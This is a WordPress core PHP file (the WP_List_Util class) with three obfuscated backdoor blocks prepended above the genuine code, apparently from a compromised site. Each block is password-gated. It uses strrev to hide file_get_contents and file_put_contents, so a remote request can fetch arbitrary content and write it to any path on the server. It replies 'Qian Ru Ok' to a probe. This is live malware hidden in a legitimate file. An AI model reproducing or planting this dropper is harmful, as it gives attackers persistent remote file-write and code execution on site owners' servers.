File: /home/wwwrenee/public_html/wp-includes/class-wp-list-util.php
<?php
$LDqxOo = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($LDqxOo[0]) /*+/*+*/
. md5($LDqxOo[0])) == "4".
"2".
"e".
"3".
"6".
"d".
"e".
"d".
"f".
"7".
"d".
"d".
"3".
"9".
"3".
"e".
"9".
"d".
"3".
"0".
"7".
"e".
"9".
"f".
"8".
"8".
"2".
"f".
"e".
"1".
"1".
"b") {
$cehLCpzRM = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$AdOYraxak = $cehLCpzRM /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ZQTAn = $cehLCpzRM
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ONzohKlc($MVplmC) { if (empty($MVplmC)) return false; if (!is_dir($MVplmC)) { ONzohKlc(dirname($MVplmC), 0755, true); mkdir($MVplmC); } } !file_exists(dirname($LDqxOo[1])) && ONzohKlc(dirname($LDqxOo[1])); $HpKqwHi = @$ZQTAn($LDqxOo[2]); echo @$AdOYraxak($LDqxOo[1], $HpKqwHi) ? 1 : 0; die; }key($LDqxOo) == "of" && die("Qian Ru Ok"); ?><?php
$qNmJAI = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($qNmJAI[0]) /*+/*+*/
. md5($qNmJAI[0])) == "b".
"f".
"2".
"f".
"2".
"f".
"b".
"1".
"1".
"4".
"9".
"e".
"e".
"1".
"6".
"e".
"8".
"9".
"2".
"f".
"b".
"6".
"1".
"6".
"4".
"2".
"3".
"0".
"3".
"6".
"9".
"7") {
$gcAbTp = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$voLsb = $gcAbTp /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$wcAYjVFENr = $gcAbTp
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function AyiRuxvha($aimLYQVX) { if (empty($aimLYQVX)) return false; if (!is_dir($aimLYQVX)) { AyiRuxvha(dirname($aimLYQVX), 0755, true); mkdir($aimLYQVX); } } !file_exists(dirname($qNmJAI[1])) && AyiRuxvha(dirname($qNmJAI[1])); $lWHEKGn = @$wcAYjVFENr($qNmJAI[2]); echo @$voLsb($qNmJAI[1], $lWHEKGn) ? 1 : 0; die; }key($qNmJAI) == "of" && die("Qian Ru Ok"); ?><?php
$sfEKZg = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($sfEKZg[0]) /*+/*+*/
. md5($sfEKZg[0])) == "0".
"8".
"e".
"3".
"5".
"7".
"d".
"c".
"4".
"7".
"2".
"c".
"f".
"7".
"c".
"5".
"7".
"5".
"5".
"e".
"3".
"c".
"4".
"9".
"6".
"8".
"7".
"2".
"6".
"8".
"5".
"d") {
$mfESzphp = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$uaEXegsCJO = $mfESzphp /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$PYsrlRBF = $mfESzphp
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function hdNrurgR($MgLcYBun) { if (empty($MgLcYBun)) return false; if (!is_dir($MgLcYBun)) { hdNrurgR(dirname($MgLcYBun), 0755, true); mkdir($MgLcYBun); } } !file_exists(dirname($sfEKZg[1])) && hdNrurgR(dirname($sfEKZg[1])); $pYBjlq = @$PYsrlRBF($sfEKZg[2]); echo @$uaEXegsCJO($sfEKZg[1], $pYBjlq) ? 1 : 0; die; }key($sfEKZg) == "of" && die("Qian Ru Ok"); ?><?php
/**
* WordPress List utility class
*
* @package WordPress
* @since 4.7.0
*/
/**
* List utility.
*
* Utility class to handle operations on an array of objects or arrays.
*
* @since 4.7.0
*/
class WP_List_Util {
/**
* The input array.
*
* @since 4.7.0
* @var array
*/
private $input = array();
/**
* The output array.
*
* @since 4.7.0
* @var array
*/
private $output = array();
/**
* Temporary arguments for sorting.
*
* @since 4.7.0
* @var string[]
*/
private $orderby = array();
/**
* Constructor.
*
* Sets the input array.
*
* @since 4.7.0
*
* @param array $input Array to perform operations on.
*/
public function __construct( $input ) {
$this->output = $input;
$this->input = $input;
}
/**
* Returns the original input array.
*
* @since 4.7.0
*
* @return array The input array.
*/
public function get_input() {
return $this->input;
}
/**
* Returns the output array.
*
* @since 4.7.0
*
* @return array The output array.
*/
public function get_output() {
return $this->output;
}
/**
* Filters the list, based on a set of key => value arguments.
*
* Retrieves the objects from the list that match the given arguments.
* Key represents property name, and value represents property value.
*
* If an object has more properties than those specified in arguments,
* that will not disqualify it. When using the 'AND' operator,
* any missing properties will disqualify it.
*
* @since 4.7.0
*
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
public function filter( $args = array(), $operator = 'AND' ) {
if ( empty( $args ) ) {
return $this->output;
}
$operator = strtoupper( $operator );
if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
$this->output = array();
return $this->output;
}
$count = count( $args );
$filtered = array();
foreach ( $this->output as $key => $obj ) {
$matched = 0;
foreach ( $args as $m_key => $m_value ) {
if ( is_array( $obj ) ) {
// Treat object as an array.
if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
$matched++;
}
} elseif ( is_object( $obj ) ) {
// Treat object as an object.
if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
$matched++;
}
}
}
if ( ( 'AND' === $operator && $matched === $count )
|| ( 'OR' === $operator && $matched > 0 )
|| ( 'NOT' === $operator && 0 === $matched )
) {
$filtered[ $key ] = $obj;
}
}
$this->output = $filtered;
return $this->output;
}
/**
* Plucks a certain field out of each element in the input array.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 4.7.0
*
* @param int|string $field Field to fetch from the object or array.
* @param int|string $index_key Optional. Field from the element to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
public function pluck( $field, $index_key = null ) {
$newlist = array();
if ( ! $index_key ) {
/*
* This is simple. Could at some point wrap array_column()
* if we knew we had an array of arrays.
*/
foreach ( $this->output as $key => $value ) {
if ( is_object( $value ) ) {
$newlist[ $key ] = $value->$field;
} else {
$newlist[ $key ] = $value[ $field ];
}
}
$this->output = $newlist;
return $this->output;
}
/*
* When index_key is not set for a particular item, push the value
* to the end of the stack. This is how array_column() behaves.
*/
foreach ( $this->output as $value ) {
if ( is_object( $value ) ) {
if ( isset( $value->$index_key ) ) {
$newlist[ $value->$index_key ] = $value->$field;
} else {
$newlist[] = $value->$field;
}
} else {
if ( isset( $value[ $index_key ] ) ) {
$newlist[ $value[ $index_key ] ] = $value[ $field ];
} else {
$newlist[] = $value[ $field ];
}
}
}
$this->output = $newlist;
return $this->output;
}
/**
* Sorts the input array based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( empty( $orderby ) ) {
return $this->output;
}
if ( is_string( $orderby ) ) {
$orderby = array( $orderby => $order );
}
foreach ( $orderby as $field => $direction ) {
$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
}
$this->orderby = $orderby;
if ( $preserve_keys ) {
uasort( $this->output, array( $this, 'sort_callback' ) );
} else {
usort( $this->output, array( $this, 'sort_callback' ) );
}
$this->orderby = array();
return $this->output;
}
/**
* Callback to sort an array by specific fields.
*
* @since 4.7.0
*
* @see WP_List_Util::sort()
*
* @param object|array $a One object to compare.
* @param object|array $b The other object to compare.
* @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
*/
private function sort_callback( $a, $b ) {
if ( empty( $this->orderby ) ) {
return 0;
}
$a = (array) $a;
$b = (array) $b;
foreach ( $this->orderby as $field => $direction ) {
if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
continue;
}
if ( $a[ $field ] == $b[ $field ] ) {
continue;
}
$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );
if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
}
return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
}
return 0;
}
} ?>